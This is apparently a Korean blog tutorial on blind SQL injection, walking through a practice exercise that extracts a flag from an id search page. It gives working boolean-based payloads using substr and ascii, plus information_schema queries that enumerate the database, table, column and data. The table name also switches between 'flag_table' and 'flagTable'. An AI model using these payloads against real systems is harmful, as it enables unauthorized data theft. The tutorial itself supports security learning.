Blind SQL Injection
: 데이터베이스 에러 메시지나 데이터가 직접적으로 노출되지 않을 때 사용하는 공격 기법으로 쿼리 결과 즉 서버의 참/거짓 반응을 통해 데이터를 얻어내는 공격이다.
Blind SQLi는 어떠한 데이터나 에러도 뜨지 않는 경우 참 거짓 반응을 통해 원하는 정보를 추출한다. DB 이름의 첫번째 글자가 a 맞는지 b가 맞는지... 이런 식으로 한 글자씩 알아내야해서 공격에 오랜 시간이 소요되므로 자동화가 필수인 공격이다.
여기서는 간략한 절차만 담을 것이기 때문에 자동화 스크립트는 생략한다.
[공격 절차]
1. SQL Injection 포인트 찾기
먼저 서버에서 어떤 SQL 구문을 사용하는지 생각한다.
다음은 id 검색 페이지에서 플래그를 획득하는 과정이다. 서버에서는 select ~~ from ~~ where id = '검색어' 와 같은 쿼리문을 사용할 것이다. 이 쿼리를 이용해서 검색어 조작을 통해 데이터를 획득한다.
mario' and '1'='1 을 검색했을 때 존재하는 아이디라고 뜬다면 취약점이 확인할 수 있다.
(전체 쿼리 : select ~~ from ~~ where id = 'mario' and '1'='1' )
2. select 문구가 사용 가능한지 확인
mario’ and (‘1’=’1’) and ‘1’=’1
mario’ and (‘1’=’2’) and ‘1’=’1
위 두 쿼리를 검색해서 결과가 각각 참 거짓으로 다르게 나온다면 SQLi가 가능한 것까지 확인된다. (참고로 참 거짓 값이 다르게 나온다면 모든 sqli가 가능하다.)
이후 모든 데이터는 select 문으로 정보를 추출할 것이기 때문에 select 문이 필터링 되지 않는지 확인한다.
mario’ and ((select ‘test’) = ‘test’) and ‘1’=’1 를 검색한다.
결과가 출력되면 select 문이 필터링되어있지 않음을 확인할 수 있다.
3. 공격 포맷 만들기
전체적인 포맷을 먼저 잡는다.
mario’ and (___조건___) and ‘1’=’1
조건 부분에는 substr 함수를 사용할 것이다.
예) substr(‘test’,1,1) => ‘t’ (두 번째 인자는 인덱스(1부터 시작), 세 번째 인자는 해당 인덱스부터 몇 개의 숫자를 추출할 것인지를 나타낸다. )
하지만 알파벳보다 숫자가 범위를 좁히기에 편하므로 ascii 함수를 이용해서 변환한다.
ascii(substr((select ‘test’),1,1))>0)
mario’ and (ascii(substr((select 문),1,1))>0)) and ‘1’=’1
(버프슈트 리피터로 보내서 확인)
** 최종적인 포맷 **
mario’ and (ascii(substr((select 문),1,1)) > 0) and '1'='1
부등호 뒤 숫자를 변경해가며 한 글자씩 알아냈을때마다 substr의 두번째 인자를 +1 해준다.
4. db 이름 찾기
db 이름을 출력하는 select 문 : select database()
> mario’ and (ascii(substr((select database()),1,1)) > 0) and ‘1’=’1
5. 테이블 이름 찾기
(위에서 찾은 DB 이름 : blindSqli)
테이블 이름을 출력하는 select 문 : select table_name from information_schema.tables where table_schema=’blindSqli’ limit 0,1
> mario' and (ascii(substr((select table_name from information_schema.tables where table_schema=’blindSqli’ limit 0,1),1,1)) > 0) and ‘1’=’1
(DB 안에는 테이블이 여러개 존재하므로 limit를 사용해서 하나씩 추출한다.)
6. 컬럼 이름 찾기
(위에서 찾은 table 이름 : flag_table)
컬럼 이름을 출력하는 select 문 : select column_name from information_schema.columns where table_name = ‘flag_table’ limit 0,1
> mario’ and (ascii(substr((select column_name from information_schema.columns where table_name = ‘flagTable’ limit 0,1),1,1)) > 0) and ‘1’=’1
7. 데이터 찾기
(위에서 찾은 column 이름 : flag)
원하는 데이터를 출력하기 위한 select 문: select flag from flagTable limit 0,1
> mario’ and (ascii(substr((select flag from flagTable limit 0,1),1,1)) > 0) and ‘1’=’1
'웹 해킹 > SQL Injection' 카테고리의 다른 글
LORD OF SQLINJECTION - ORGE (0) | 2024.07.21 |
---|---|
[SQL Injection] Union Based SQL Injection란? (공격 절차, 실습) (0) | 2023.12.19 |
[SQL Injection] Error Based SQL Injection란? (공격 절차, 실습) (1) | 2023.12.12 |
SQL Injection 공격이란? (종류, 방어기법, 공격 시나리오) (0) | 2023.12.10 |